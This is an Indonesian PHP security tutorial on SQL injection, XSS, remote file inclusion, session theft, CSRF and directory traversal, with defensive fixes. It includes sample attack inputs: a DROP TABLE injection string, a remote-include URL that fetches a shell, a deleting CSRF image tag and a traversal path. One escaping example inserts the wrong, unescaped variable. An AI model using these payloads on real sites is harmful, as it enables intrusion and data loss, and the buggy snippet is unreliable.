Menulis aplikasi PHP sangatlah mudah. Kebanyakan orang memahami sintaks agak cepat dan dalam waktu singkat dapat menghasilkan script yang langsung dapat digunakan yang kebanyakan di peroleh melalui tutorial, referensi, buku dan melalui forum-forum seperti yang saya tuliskan di sini. Masalahnya adalah bahwa kebanyakan orang lupa salah satu aspek yang paling penting bahwa seseorang harus mempertimbangkan ketika menulis aplikasi PHP. Banyak pemula melupakan aspek keamanan PHP. Umumnya, pengguna aplikasi Anda adalah orang baik, dan mereka akan melakukan apa yang mereka tahu dan Anda tidak akan memiliki masalah dengan orang-orang ini sama sekali. Namun, ada beberapa orang yang berbahaya dan sedang mencari kelemahan dan melakukan kerusakan pada website Anda. Mereka akan meneliti aplikasi Anda untuk mendapatkan kelemahan yang ada dan mengeksploitasi kelemahan aplikasi Anda ini. Banyak sekali programmer pemula tidak tahu bahwa banyak hal-hal yang akan menjadi masalah. Dalam tutorial ini kita akan melihat beberapa dari masalah ini sehingga Anda dapat belajar bagaimana berurusan dengan mereka, dan lebih baik lagi, mencegah mereka. Jelas saya tidak akan berjanji kepada Anda bahwa dengan mengikuti tutorial ini anda tidak akan pernah berhasil diserang. Ketika Anda menjadi lebih besar Anda juga akan menjadi target yang lebih menarik bagi mereka.

Pada halaman selanjutnya kita akan melihat bagaimana kita harus melakukan pelaporan kesalahan kita.

1. Laporan Error

Laporan error adalah hal yang baik, bukan? Ini memberi Anda pemahaman yang berharga tentang mengapa aplikasi Anda gagal. Ini memberi Anda informasi yang berguna seperti apa yang terjadi dan di mana itu terjadi. Informasi ini penting dalam rangka untuk memperbaiki bug. Namun, Anda mungkin bukan satu-satunya yang tertarik untuk mengetahui mengapa aplikasi Anda gagal. Dengan memberikan user rincian error dan atau pengecualian yang dilemparkan oleh PHP Anda memberi pemahaman yang berharga tentang cara kerja aplikasi Anda. Selain dari sumber itu sendiri, ini adalah salah satu kecerdasan yang paling berharga, penyerang bisa mengumpulkan data untuk mencari kerentanan dalam aplikasi Anda. Oleh karena itu, jangan pernah Anda menampilkan output pesan Error ke layar ketika aplikasi Anda berjalan dalam lingkungan produksi (pengaturan tunggal di mana aplikasi Anda berjalan jika tersedia untuk kepentingan umum). Dalam lingkungan pengembangan Anda (misalnya di komputer lokal Anda) itu baik-baik saja untuk menampilkan output error untuk mempermudah Anda melihat error tersebut daripada harus memeriksa log error ketika suatu script gagal di jalankan.

Jadi apa yang harus Anda lakukan ketika Anda telah meluncurkan aplikasi pembunuh baru Anda? Bugs mungkin masih muncul dan Anda memerlukan informasi sebelum-disebutkan dalam rangka untuk memperbaikinya. Apa yang dapat Anda lakukan, dan harus dilakukan, adalah menulis error ke dalam sebuah file log. Sebenarnya, PHP tidak memasukkan semua error ke dalam sebuah file log di server secara default. Namun, jika Anda berada di shared hosting maka Anda kemungkinan besar akan tidak memiliki akses ke file itu dan oleh  karena itu Anda harus menuliskannya ke dalam file Anda sendiri. Ada beberapa petunjuk php.ini yang relevan dengan masalah kita:

  • display_errors direktif ini mengatur apakah error PHP harus dikirim ke layar. Dalam sebuah lingkungan produksi ini harus selalu dimatikan.
  • error_reporting kontrol direktif ini merupakan error yang harus dilaporkan. Anda harus mengesetnya dengan nilai E_ALL dan Anda harus memperbaiki semua error yang di tampilkan.
  • log_errors ini mengatur apakah error seharusnya login ke sebuah file. Saya merekomendasikan Anda untuk selalu mengaktifkannya.
  • error_log ini adalah Error kesalahan file harus ditulis. Ini hanya berlaku jika log_errors dihidupkan.

Berikut adalah rekomendasi saya, bagaimana Anda harus melakukan konfigurasinya:

Bagaimana error_log harus dikonfigurasi jelas tergantung pada bagaimana struktur direktori anda setup (akan kita bahas lebih lanjut).

1.1. Mengatur arahan

Ada sejumlah cara yang berbeda, Anda dapat mengatur arahan untuk mencapai penanganan error yang paling aman dan efisien seperti yang saya bicarakan sebelumnya. Jika Anda sudah tahu bagaimana melakukan hal itu maka anda dapat melewati bagian ini.

Pertama dan terpenting terjadi perubahan nilai langsung dalam php.ini. Namun, ini hanya mungkin jika Anda adalah administrator dari server sehingga bagi banyak orang ini bukan pilihan.

Apache memiliki konfigurasi beberapa file disebut .Htaccess di mana Anda dapat mengkonfigurasi Apache yang diarahkan untuk folder tertentu (dan sub-folder). Beberapa host tidak mengijinkan Anda untuk menggunakan file ini, tetapi jika Anda ingin memakai modul PHP, Anda harus memanggil direktif yang disebut php_flag yang memungkinkan Anda untuk mengatur arahan PHP. Anda cukup melakukannya seperti ini:

php_flag directive_name directive_value

Catatan: Anda tidak dapat menggunakan fungsi seperti E_ALL sehingga Anda harus menggunakan nilai numerik dari E_ALL. Nilai saat ini 8191, tetapi mungkin dapat berubah di masa yang akan datang sehingga Anda harus memeriksa nilai baru jika Anda mengupdate versi utama. Anda dapat melihat konstanta tentang error pelaporan setiap saat di sini.

Jadi untuk kebutuhan produksi Anda bisa melakukan hal seperti ini:

php_flag display_errors off
php_flag error_reporting 8191
php_flag log_errors on
php_flag error_log /home/someone/logs/php_errors.log

Pilihan ketiga adalah dengan menggunakan fungsi PHP ini_set (). Fungsi tersebut mengambil dua argumen: nama direktif untuk mengatur nilai baru. Anda dapat menggunakan konstanta di sini. Ada fungsi yang disebut error_reporting () yang dapat anda gunakan untuk mengatur pelaporan bukan untuk error.

2. SQL injections

Salah satu masalah yang paling umum untuk keamanan dalam aplikasi web adalah SQL injeksi, seperti ilustrasi berikut ini:

SQL injection bekerja dengan menginjeksi script SQL ke dalam query yang Anda buat. Seringkali Anda melewati beberapa variabel data yang muncul pada query yang dipengaruhi oleh input pengguna.Dalam komentar di atas kita mungkin membayangkan bahwa sekolah memiliki query yang terlihat seperti ini:

$sql = “INSERT INTO Students (name) VALUES ” .
” (‘{$_POST[‘student_name’]}’)”;

Ilustrasi di atas merupakan input data pengguna yang sesuai dengan format yang diharapkan. Sekarang, pengguna pada ilustrasi tersebut tidak memberikan data yang diharapkan, dia akan menginjeksi sebuah query tambahan ke dalam query yang ada. Mari kita lihat bagaimana query terlihat ketika kita memasuki string yang diberikan oleh pengguna:

INSERT INTO students (name) VALUES (‘Robert’);
DROP TABLE Students;–‘)

(Catatan: PHP tidak mendukung query bertingkat pada semua DBMSs. Khususnya pada MySQL.)

Seperti yang Anda ketahui, symbol semi-colon (;) digunakan untuk mengakhiri query dan sering digunakan, tetapi PHP akan menambahkan secara otomatis jika anda mengabaikan hal itu. Oleh karena itu, dengan menutup string dan finishing query dengan memasukkan kurung tutup dan semi-colon (;) kita akan dapat menambahkan pertanyaan tambahan yang menjatuhkan meja siswa diatas. Kedua tanda hubung terakhir akan menjalankan komentar apa pun yang datang setelah itu, jadi apa pun karakter yang tersisa yang mungkin telah di query akan diabaikan.

Ini tidak perlu melakukan pemikiran yang kuat untuk mencari tahu mengapa hal ini bisa terjadi. Para hacker pada dasarnya akan dapat menjalankan segala jenis pertanyaan  yang mereka inginkan.  Hal ini mereka lakukan untuk berbagai tujuan agar dapat mengambil informasi rahasia atau merusak data Anda.

2.1. Proteksi Script dari SQL injections

Untuk melindungi database dari SQL Injection sangatlah mudah. Ini hanya masalah bagaimana cara kita memanggil fungsi tunggal yang membuat data aman untuk digunakan dalam query. Bagaimana Anda harus melakukan hal ini tergantung pada ekstensi PHP yang Anda gunakan. Banyak orang menggunakan ekstensi mysql biasa, jadi mari kita mulai dengan yang satu ini. Hanya dengan memanggil fungsi yang disebut mysql_real_escape_string(). Mari kita lihat bagaimana fungsi ini bekerja dengan contoh sederhana yang menggambarkan cara penggunaannya:

<?php
$db = mysql_connect(‘localhost’, ‘username’, ‘password’);
mysql_select_db(‘school’, $db);

$student = mysql_real_escape_string($_POST[‘student’], $db);

$queryResult = mysql_query(“INSERT INTO Students (name) ” .
“VALUE (‘{$studentName}’)”);

if ($queryResult) {
echo ‘Success.';
}
else {
echo ‘Insertion failed. Please try again.';
}
?>

Seperti yang Anda lihat, sangatlah mudah untuk membuatnya tetapi kebanyakan orang gagal melakukan hal ini. Jangan takut banyak ekstensi lainnya yang dapat digunakan. Contoh lain dari ekstensi tersebut adalah PDO (PHP Data Objects). Mari kita lihat bagaimana cara menggunakannya:

<?php
$db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);
$stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (?)’);

try {
$stmt->execute(array($_POST[‘student_name’]));
echo ‘Success.';
}
catch(PDOException $e) {
echo ‘Insertion failed. Please try again.';
}
?>

Jika Anda memiliki banyak field  yang digunakan dalam query Anda, maka mungkin sedikit sulit untuk mengingat semua  urutan dari tanda tanya yang berbeda untuk melakukan pemrosesan data. Anda dapat menggunakan parameter sintaks alternatif seperti dibawah ini:

<?php
$db = new PDO(‘mysql:host=localhost;dbname=school’, ‘username’, ‘password’);
$stmt = $db->prepare(‘INSERT INTO Students (name) VALUES (:name)’);

try {
$stmt->execute(array(‘name’ => $_POST[‘student_name’]));
echo ‘Success.';
}
catch(PDOException $e) {
echo ‘Insertion failed. Please try again.';
}
?>

Jelas, dalam kasus ini mungkin tidak memiliki banyak manfaat, tapi seperti yang saya katakan, jika anda memiliki banyak parameter, maka akan lebih berguna.

Ekstensi mysqli (MySQL improved) juga memiliki dukungan untuk menyusun laporan, jadi Anda dapat menggunakannya juga untuk memeriksa dokumentasi sintaks. Tetapi aturan mengenai semua hal ini adalah bahwa tidak ada yang bisa dipercaya dan semua data harus di periksa.

Selain itu, seperti yang telah saya sebutkan sebelumnya bahwa pengguna tidak perlu melihat informasi dari pesan Error. Bukan karena tidak relevan, tetapi informasi yang dimunculkan tersebut dapat membantu orang untuk berniat jahat. Anda mungkin terkadang menambahkan fungsi die(mysql_error () ) pada akhir query fungsi mysql_query (). Namun, Anda tidak harus melakukan itu. Dengan melakukan itu Anda tidak lagi menggunakan fungsi PHP Error dan fungsi pengecualian dan Anda menghapus kesempatan untuk mengendalikan apakah error harus ditampilkan atau tidak. Menurut pendapat saya solusi terbaik adalah dengan menggunakan pengecualian PHP. Jika Anda tidak ingin melakukannya maka setidaknya membuat script seperti trigger_error (‘Query gagal:’. mysql_error ()). Dengan melakukan itu Anda menggunakan fungsi PHP built-in dan Anda dapat menggunakan metode error yang telah dibahas sebelumnya. Selain itu, eksekusi script dengan die() merupakan praktek yang buruk. Anda tidak akan bisa memberitahu pengguna sebuah halaman error yang tepat dan Anda tidak akan dapat melakukan pembersihan terhadap sisa-sisa script diatas.

3. Cross Site Scripting

Cross-Site Scripting, disingkat XSS, merupakan masalah kemanan lainnya. Masalah ini sangat relevan karena setiap content yang di input oleh pemakai akan di tampilkan kembali ke layar. Hal ini sangat penting karena javascript dapat di inject ke dalam source HTML. Sebagai contoh penulisan pada forum.  Pada forum pengguna akan dapat memposting pesan yang akan ditampilkan untuk pengguna lain. Forum biasanya ingin para pengguna dapat menuliskan format pesan sesuai keinginan mereka dan HTML adalah yang terbaik untuk itu. Hanya ada masalah kecil … Tidak semua pengguna sama-sama baik. Mungkin ada pihak-pihak tertentu yang ingin menghacurkannya, seperti bagian sebelumnya. Biasanya mereka ingin memasukkan script Javascript kedalam source. Mereka melakukannya untuk beberapa tujuan. Hal ini dapat mengganggu, dan mereka akan menciptakan sebuah pengulangan pesan yang tak terbatas yang akan memaksa user untuk shutdown dari browser atau bisa juga mengalihkan pengguna ke situs weblain. Serangan lain yang lebih berbahaya lagi, mereka bisa membuat sebuah log keyloger dan mengirimkan informasi tentang semua inputan (seperti password) ke situs lainnya atau juga menginjek script Javascript untuk mengambil cookie pengguna. Maka untuk itu kita memerlukan proteksi XSS untuk mengamankan situs kita.

3.1. XSS Protection

Sebetulnya, untuk melindungi hal ini sangat mudah. PHP memiliki fungsi yang sangat berguna untuk mengatasi hal ini yang disebut htmlentities(). Fungsi ini akan mengkonversi karakter yang memiliki format dalam bentuk HTML  ke entitas yang saling berhubungan. Sebagai contoh, tag HTML dimulai dengan tanda lebih kecil dan karakter khusus tersebut akan dikonversi ke & lt;. Jika Anda memiliki validasi HTML lainnya, maka ini juga akan sangat membantu.

Kita hanya punya satu masalah. Contoh awal kami adalah sistem forum dan kami ingin memberikan pengguna kesempatan untuk menulis format sesuai keinginan mereka. Namun, kita harus menentukan mana yang baik untuk diterapkan, jadi kita perlu memberi mereka satu alternatif lainnya. Kita harus dapat mengendalikan apa yang mereka lakukan dan apa yang tidak boleh mereka lakukan. Terdapat sebuah fitur umum yang disebut BBCodes dan ini memiliki sintaks yang sangat mirip dengan HTML dan saya cukup yakin Anda sudah familiar dengan itu jika Anda sering mengunjungi forum-forum. Tapi berhati-hatilah, Anda mungkin akan mendapatkan beberapa lubang keamanan XSS  tambahan yang mungkin terdapat di beberapa tag.

Sebuah tag bbcode umum adalah tag URL. Kita bisa membayangkan seseorang menulis

[url=http://www.tanohaceh.com]I Like Teknologi[/url]

dan akan di konversi ke

<a href=”http://www.tanohaceh.com”>I Like Teknologi</a>

Keliatannya memang tidak ada masalah dengan membiarkan itu. Namun, jika URL seperti javascript: alert (‘Hi’) di ijinkan maka mereka akan menginput dan mengeksekusi Javascript tersebut. Demikian pula, dalam beberapa versi yang lebih rendah dari Internet Explorer (IE6 dan di bawahnya) yang format URL nya diperkenankan untuk mengeksekusi Javascript, jadi kita harus menjaga hal itu juga.

Untuk mencegah kedua kejadian tersebut kita mungkin harus memeriksa apakah protokol tersebut di ijinkan atau tidak. Akan lebih baik lagi untuk membuat white-list dari setiap protokol yang diperbolehkan daripada harus membuat black-list dari protokol yang dilarang. Cukup pilih protokol yang Anda inginkan (misalnya http, https dan ftp) dan memblokir yang lainnya.

Semoga catatan XSS ini bermanfaat bagi Anda. Maka dari itu pelajari lah tentang XSS dan melakukan uji coba untuk mengetahui apakah aplikasi Anda sudah aman.

4. External file access

Biasanya, halaman yang diakhiri dengan .php akan diteruskan ke PHP oleh Apache dan oleh karena itu kode akan disembunyikan dari pengguna. Source kode tersembunyi merupakan salah satu hal yang mencirikan bahasa server-side scripting seperti PHP. Terkadang, modul PHP atau Apache akan gagal dan kode mungkin ditampilkan dalam teks unparsed biasa kepada pengguna. Ini jelas tidak baik. Pertama-tama, jika source  terlihat maka lebih mudah untuk menemukan masalah keamanan dalam aplikasi Anda. Selain itu, beberapa script yang berisi file-file konfigurasi yang terdapat di dalam document root (direktori di mana semua file dan sub folder yang dapat diakses publik dari dunia luar) dan jelas ini akan ditampilkan kepada pengguna jika mereka memasukkan nama file ke dalam URL. Secara pribadi saya pernah mengalami hal ini sebelumnya di mana saya berada di sebuah situs kecil dan tiba-tiba karena kesalahan konfigurasi source kode ditampilkan ke layar. Website tersebut menggunakan suatu aplikasi dan kebetulan saya tahu di mana letak file konfigurasinya. Tentu saja, saya dapat memahaminya dengan baik dan dari situ saya mendapatkan password root untuk server (keamanan yang tidak baik dengan menggunakan password yang sama untuk beberapa aplikasi dan juga keamanan yang tidak baik dengan menggunakan user root MySQL). Tetapi saya tidak melakukan apa-apa dengan hal itu, tetapi bagaimana dengan orang lain yang mungkin tidak sebaik saya dan bagaimana jika Anda memiliki password root untuk server? Pasti pada dasarnya Anda bisa melakukan apa saja dengan itu bukan?

Contoh lainnya seperti situs populer Facebook yang mungkin Anda pernah mendengarnya. Seperti yang saya jelaskan sebelumnya (kesalahan konfigurasi server yang mengakibatkan source kode bocor) juga pernah terjadi di Facebook. Bahkan perusahaan besar dengan orang-orang yang khusus dibayar untuk mengkonfigurasi server terkadang lengah dan oleh karena itu perlu mengambil beberapa tindakan pencegahan keamanan untuk mencegah kebocoran source  jika itu terulang kembali.

Itu semua ada hubungannya dengan bagaimana Anda menyusun struktur layout direktori Anda. Sehingga, semua file dalam document root dapat diambil oleh pengguna. Oleh karena itu sebaiknya kita memindahkan segala sesuatu yang terdapat disana sehingga orang tidak dapat langsung mengaksesnya. Mungkin kita memiliki index.php dan beberapa file statis seperti CSS, Javascript dan meletakkan gambar di dalam document root. Kitapun bisa mengambilnya dan melakukan salah satu hal yang ada di index.php seperti berikut:

<?php
require ‘../public_index.php';
?>

Itu bagian tertentu dimana pengguna tidak akan dapat melihatnya harus ada sesuatu yang terjadi. Kita mungkin memiliki struktur direktori yang terlihat seperti ini:

/application
  /controllers
  /models
  /views
/library
/public_html <-- document root
  /index.php
  /media
    /images
    /javascript
    /css
/config
/cache
/tmp
/public_index.php
/logs

Dengan meletakkan file Anda dengan cara ini, Anda akan mencegah orang untuk melihat hal-hal yang tidak boleh dilihat. Sangat mudah untuk melakukannya bukan? Mengapa Anda tidak…

5. Remote File Inclusion

Serangan Remote File Inclusion (disingkat RFI) merupakan suatu kerentanan yang mungkin banyak orang belum mengetahuinya, tetapi itu merupakan masalah yang sangat serius yang harus diatasi. Seperti namanya memasukkan file remote, tapi apa sebenarnya artinya itu? Mari kita lihat sebuah contoh:

<?php
$page = isset($_GET[‘page’]) ? $_GET[‘page’] : ‘home';
require $page . ‘.php';
?>

Ini adalah front controller yang sangat mendasar yang akan meneruskan permintaan untuk setiap file yang akan bertanggung jawab untuk permintaan tersebut.

Bayangkan bahwa jika http://example.com/malice.php file tersebut ada dan script kami terletak di http://site.com/index.php. Penyerang akan membuat permintaan ini: http://site.com/index.php?page=http://example.com/malice. File ini akan dieksekusi ketika dilibatkan dan akan menulis sebuah file baru ke disk. File ini bisa menjadi shell yang akan memungkinkan orang untuk menjalankan perintah pada terminal serta hal-hal lainnya yang tidak boleh mereka lakukan. Hal lain penyerang dapat mengatur halaman http://example.com/malice.php? (perhatikan tanda tanya berakhir). Itu akan membuat apa pun yang mengikutinya dari bagian string query akan diabaikan oleh server dan file akan disertakan. Ini merupakan masalah keamanan yang cukup serius. Orang harus benar-benar tidak dapat menjalankan perintah apapun yang mereka inginkan pada server kita, jadi bagaimana kita bisa mencegah mereka?

Ada beberapa petunjuk php.ini yang dapat digunakan untuk mencegah ini:

  • allow_url_fopen, direktif ini diset aktif secara default dan mengatur apakah file remote harus includable.
  • allow_url_include, direktif ini dinonaktifkan secara default dan diperkenalkan di PHP 5.2. Ini untuk mengontrol apakah include (), require (), include_once () dan require_once () harus dapat menyertakan file remote. Pada versi di bawah PHP 5.2 ini juga dikendalikan oleh allow_url_fopen. Selanjutnya, jika allow_url_fopen dinonaktifkan maka direktif ini akan diabaikan dan set ke off juga.

Pada dasarnya kedua arahan tersebut akan memungkinkan Anda untuk mengatur pengaturan keamanan yang Anda perlukan. Sekali lagi, tidak ada data dari bagian dalam sistem anda dapat diandalkan. Anda harus memvalidasi input pengguna dan memastikan bahwa orang tidak akan memasukkan data cacat atau tidak terduga. Jika Anda ingin memeriksa tentang bagaimana Anda dapat menggunakan Apache untuk memblokir serangan RFI termasuk serangan dengan mod rewrite, silahkan baca disini Preventing remote file include attacks with mod rewrite.

6. Keamanan Session

Session dan cookie juga merupakan dua hal yang harus Anda waspadai. Meskipun mereka tidak dapat melanggar keamanan aplikasi Anda, tetapi mereka dapat digunakan untuk bernegosiasi dengan account pengguna.

Bila Anda menggunakan sesi, PHP cenderung akan menyimpan cookie di komputer klien disebut PHPSESSID (dapat anda ubah). Cookie ini akan mempertahankan suatu nilai, sesi identifier yang dikaitkan dengan beberapa data pada server. Jika pengguna memiliki ID sesi yang valid, maka data yang terkait dengan sesi tersebut akan masuk ke array $_SESSION super-global. Sesi juga dapat ditransfer melalui URL. Dalam hal ini akan terlihat seperti ?PHPSESSID=id_here.

6.1. Mencuri cookies

Bayangkan bahwa Anda memiliki kunci lemari besi yang aman di bank Anda. Jika Anda memiliki kunci, Anda bisa mendapatkan segala sesuatu di lemari besi. session ID bekerja seperti ini. Namun, sewaktu-waktu kunci keamanan Anda ini dapat dicuri demikian pula dengan session ID Anda ini dapat pula dicuri atau dicegat. Sebagai catatan, karena saya menggunakan analogi kunci, maka bukan berarti Anda harus memasukkan informasi penting kedalam session Anda.

Sebelumnya kita telah membahas tentang XSS dan disitu saya menyebutkan secara singkat bahwa XSS dapat digunakan untuk mencuri cookies orang. Ini adalah cara yang paling umum digunakan untuk mencuri cookie. Cookie ini berupa PHPSESSID. Ketika Anda mencuri session ID dan mencoba untuk menggunakannya kembali ini disebut session fixation. Jadi, jika anda bisa mendapatkan session ID yang valid dan sesi digunakan untuk otentikasi maka pada dasarnya Anda akan login sebagai pengguna. Jelas itu bukan hal yang baik, terutama jika pengguna tersebut memiliki hak akses administrator.

6.2. Persoalan pada shared hosting

Kebanyakan orang menghosting situs Web mereka di shared hosting. Shared hosting pada dasarnya merupakan dimana beberapa orang yang memiliki Web akan di host pada sebuah server. Pada server dengan menggunakan sistem operasi Linux session data secara default akan disimpan di /tmp. Ini adalah sebuah direktori yang menyimpan data sementara, dan itu jelas akan dapat dibaca dan ditulis oleh semua orang. Jadi, jika data sesi Anda disimpan di sana, secara default, maka pengguna lain dapat menemukannya jika mereka menelitinya dengan tekun. Hal ini menimbulkan masalah keamanan yang sama seperti pencurian melalui cookies XSS.

6.3. Mencegah session fixation

Sebelumnya kita telah membahas sedikit tentang bagaimana session ID dapat dicuri, maka mari kita membahas tentang bagaimana kita dapat meminimalkan resiko session fixation.

Satu hal yang dapat kita lakukan adalah dengan sering melakukan perubahan session ID. Jika kita melakukan itu maka kemungkinan session ID dicuri akan dapat diminimalisir, jika perubahan ID sering dilakukan. Kita dapat menggunakan salah satu fungsi PHP yang disebut session_regenerate_id(). Ketika kita memanggil fungsi ini, session ID akan diregenerasi. Klien akan di informasikan bahwa session ID telah berubah melalui header respon HTTP yang disebut Set-Cookie.

Jika Anda menggunakan PHP 5.2 + maka anda dapat memberitahu browser bahwa Javascript tidak harus memberikan akses ke cookie menggunakan indikator yang disebut httponly. Anda dapat mengatur flag menggunakan direktif php.ini disebut session.cookie_httponly atau Anda dapat menggunakan session_set_cookie_params().

Tentang masalah dengan shared hosts, solusinya sederhana: menyimpan data di mana hanya Anda yang memiliki akses. Anda dapat menggunakan direktif session.save_path cara lain untuk mengatur penyimpanannya. Anda juga dapat menyimpannya dalam database, tetapi kemudian Anda harus menulis handler Anda sendiri dengan menggunakan fungsi bernama session_set_save_handler().

7. Cross-site request forgery

Cross-site request forgery (Calc) adalah suatu trik yang dilakukan untuk menipu pengguna dengan membuat suatu permintaan yang tidak pernah dilakukan. Bayangkan bahwa dalam aplikasi Anda, Anda dapat menghapus pengguna seperti ini: /user/delete/Joe. Yang akan menghapus pengguna dengan username “Joe”. Pengguna yang berniat jahat dapat menempatkan sedikit script HTML ini pada situsnya:

<img src=”http://example.com/user/delete/Joe” height=”1″ width=”1″ />

Hal ini pada dasarnya akan mengelabui user untuk membuat permintaan untuk halaman yang tanpa mereka sadari. Hal ini jelas hanya orang yang login sebagai administrator yang dapat memanggil URL ini dan sebagian besar pengguna akan gagal. Namun, jika seorang administrator login ke halaman yang berisi potongan HTML di atas, maka permintaan tersebut akan berhasil di jalankan dan “Joe” akan hilang.

Bagaimana kita bisa mencegah hal ini? Nah, dalam hal ini kita hanya bisa meminta kepada admin untuk memverifikasi tindakannya dengan password sebelum melakukannya. Ya, kita mungkin  tahu ini sejenis Windows Vista UAC (User Account Control) yang diklaim sangat mengganggu dan meminta Anda untuk memverifikasinya setiap 5 milidetik. Terkadang Anda harus menambah sedikit jumlah gangguan tersebut untuk menjaga aplikasi Anda aman.

Akun ini berasal dari formulir maka kita bisa saja meminta informasi (dalam kasus sebelumnya, username) untuk diajukan menggunakan post dan membacanya sebagai $_POST[‘username’]. Namun, ini hanya menambah keamanan yang minimal. Serangan yang lebih canggih dari di atas bisa saja pengguna membuat sebuah trik untuk melakukan permintaan POST bukan GET. Kita bisa menggunakan metode “Masukkan sandi” seperti sebelumnya, tapi kita juga bisa menggunakan jenis lain dari simbol (token). Bayangkan formulir ini:

<?php
session_start();
$_SESSION['token'] = uniqid(md5(microtime()), true);
?>

<form action="/delete-user.php" method="post">
        <input type="hidden" name="token" value="<?php echo
        $_SESSION['token'] ?>" />

        Username: <input type="text" name="username" />
        <button type="submit">Delete user</button>
</form>

Di sini kita telah menambahkan field tersembunyi bernama token dan disimpan dalam satu sesi.  Pada halaman berikutnya, kita bisa melakukan hal seperti ini:

<?php
session_start();

if ($_POST['token'] !== $_SESSION['token']) {
        die('Invalid token');
}

// form processing here
?>

Kita hanya memverifikasi bahwa ini adalah token yang valid dan memastikan bahwa permintaan tersbut benar-benar berasal dari form.

8. Directory traversal

Bayangkan script yang sama kita gunakan ketika berbicara tentang serangan RFI:

<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';

require $page . '.php';
?>

Kita katakan. bahwa file disimpan di: /home/someone/public_html/index.php. Attacker kemudian melakukan: index.php?page=../secret

Yang akan memberi akses /home/someone/secret.php yang seharusnya sudah tidak dapat diakses. Saya yakin Anda dapat membayangkan situasinya lebih berbahaya daripada yang satu ini.

Ada beberapa cara untuk mencegah hal ini. Pertama-tama Anda dapat membuat sebuah array halaman yang valid, misalnya:

$pages = array(
        'home',
        'login',
        'logout',
        // etc.
);

if (!in_array($page, $pages) {
        die('Invalid page');
}

Hal lain yang harus di lakukan adalah memastikan bahwa file yang diminta cocok dengan format tertentu:


$file = str_replace(‘\\’, ‘/’, realpath($page . ‘.php’)); 

if (!preg_match(‘%^/home/someone/public_html/[a-z]+\.php$%’, $file)) {
die(‘Invalid page’);
}

include $file;

Pada dasarnya, Anda perlu untuk memverifikasi bahwa informasi tersebut valid dan sesuai dengan apa yang Anda harapkan. Demikian lah tips dari saya semoga bermanfaat untuk kita semua.

Share